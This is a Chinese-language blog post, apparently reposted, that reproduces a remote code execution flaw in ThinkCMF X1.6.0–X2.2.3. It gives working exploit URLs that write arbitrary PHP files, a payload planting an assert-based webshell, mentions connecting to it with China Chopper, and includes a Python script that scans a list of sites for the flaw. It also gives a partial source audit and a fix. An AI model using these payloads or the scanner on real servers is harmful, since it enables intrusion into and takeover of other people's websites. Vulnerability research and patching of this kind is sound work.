ThinkCMF_X1.6.0-X2.2.3框架任意內容包含漏洞的簡單分析復現(附自動化驗證腳本)


1.漏洞概述

攻擊者可利用此漏洞構造惡意的url,向服務器寫入任意內容的文件,達到遠程代碼執行的目的

2.影響版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1(我用的是這個)
ThinkCMF X2.2.2
ThinkCMF X2.2.3

3.安裝

賦予權限

 

4.安裝系統

 

安裝成功進入主頁

  • Poc
/?a=display&templateFile=README.md

/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>
  • 測試

Poc1:

http://192.168.2.135/thinkcmf-X2.2.1//?a=display&templateFile=README.md

 

POC2:

http://192.168.2.135/thinkcmf-X2.2.1/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>

 

查看info.php

沒有寫入成功,干脆看看源代碼吧

 

這里提出了錯誤信息意思是,沒有寫入權限

[2] file_put_contents(info.php): failed to open stream: Permission denied /var/www/html/thinkcmf-X2.2.1/data/runtime/Cache/Portal/''2539f066e2972ad12f670857ed0f6b3d.php 第 1 行.

  1. 簡單審計

在這個目錄下面/var/www/html/thinkcmf-X2.2.1/data/runtime/Cache/Portal

生成了一個臨時文件

 

打開查看

 

<?php if (!defined('THINK_PATH')) exit(); file_put_contents('info.php','<?php phpinfo();?>');?>

后面檢查了一下發現是權限分發的問題

切換到cms目錄下賦予所有文件可讀可寫可執行權限

chmod –R 777 *

 重新執行POC2

可以看到已經寫入成功,這里執行了phpinfo

 

  • 提權操作

Payload:

/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('shell.php','<?php $a="assert";$a($_POST[123]);?>');?>

前面既然可以寫入phpinfo,自然也可以寫入惡意代碼

 

沒有顯示錯誤,代表寫入成功,訪問一下,並連接一下試試

 

 

 

 手動連接

 

列出文件(assert好像手工不太好使,emmmm)

還是上菜刀

 

  • 源代碼審計

通過index.php可以發現,項目入口是application/,切換目錄過去

 

根據poc盲猜控制器IndexController.class.php

 

空盪盪的,就一個index方法,這里繼承的是父類HomebaseController,切出去看看作為程序入口,使用public是比較危險的,public是公有方法任何人都可以調用,並且這里是可以操控的,因此這里可能就是一個漏洞點(修補的話,把public改為protected)

 

路徑找到了,/application/Common/Controller/

直接搜索fecth 獲取輸出頁面內容

調用內置的模板引擎fetch方法,

@access protected

@param string $templateFile 指定要調用的模板文件

默認為空 由系統自動定位模板文件

@param string $content 模板輸出內容

@param string $prefix 模板緩存前綴*

@return string

 

值得關注的是125行這里

125          */

126         public function fetch($templateFile='',$content='',$prefix=''){

127             $templateFile = empty($content)?$this->parseTemplate($templateFile):'';

128                 return parent::fetch($templateFile,$content,$prefix);

129         }

這里fetch函數的三個參數分別對應模板文件,輸出內容,模板緩存前綴,而fetch函數的作用是獲取頁面內容,調用內置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中當key和value可控時便可以形成模板注入。

分析不下去(分析失敗。。。。)

  • 修復方案

將 HomebaseController.class.php 和 AdminbaseController.class.php 類中 display 和 fetch 函數的修飾符改為 protected

 自動化檢測漏洞腳本

#-*- coding:utf-8 -*-
import urllib2
import re
'''
ThinkCMF框架任意內容包含漏洞
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
Poc:
/?a=display&templateFile=README.md
/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>
Author:Mke2fs
備注:檢測腳本可能會誤報,自行優化,優化完了記得滴滴一下我
還有記得表明出處 ''' path='url地址列表,用絕對路徑' #thincmf_payload=['/public/index','/Public/index'] payload=['?a=display&templateFile=README.md'] su=[] def test_is_thinkcmf(): with open(path) as f: contents=f.read() #讀取域名 #print contents.replace('\r','').split('\n') urllist=contents.replace('\r','').split('\n')#去除分割符,形成一個url列表 for uri in urllist: try: print uri for x in payload: res=urllib2.Request(uri+x)#urlopen(uri+x,timeout=2) result=urllib2.urlopen(res,timeout=2)#超時兩秒 html=result.read() #獲取網頁內容 #print html aa = re.search('ThinkCMF',html) #print aa if aa !=None : print "\033[31m[*] Vulnerabled!" + "URL:" + uri, aa.group() # 設置前景色為紅色 su.append(uri) else: print '\033[32m[*] Not Vuln' # 設置前景色為綠色 except Exception as e: print '\033[32m[*] 未知錯誤或異常!',e print su with open('包含漏洞url的保存地址','a+') as ff: for i in su: ff.write(i+'\n') test_is_thinkcmf()

 

參考文章:

https://xz.aliyun.com/t/6626#toc-5

https://blog.riskivy.com/thinkcmf-%E6%A1%86%E6%9E%B6%E4%B8%8A%E7%9A%84%E4%BB%BB%E6%84%8F%E5%86%85%E5%AE%B9%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/?from=timeline&isappinstalled=0


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM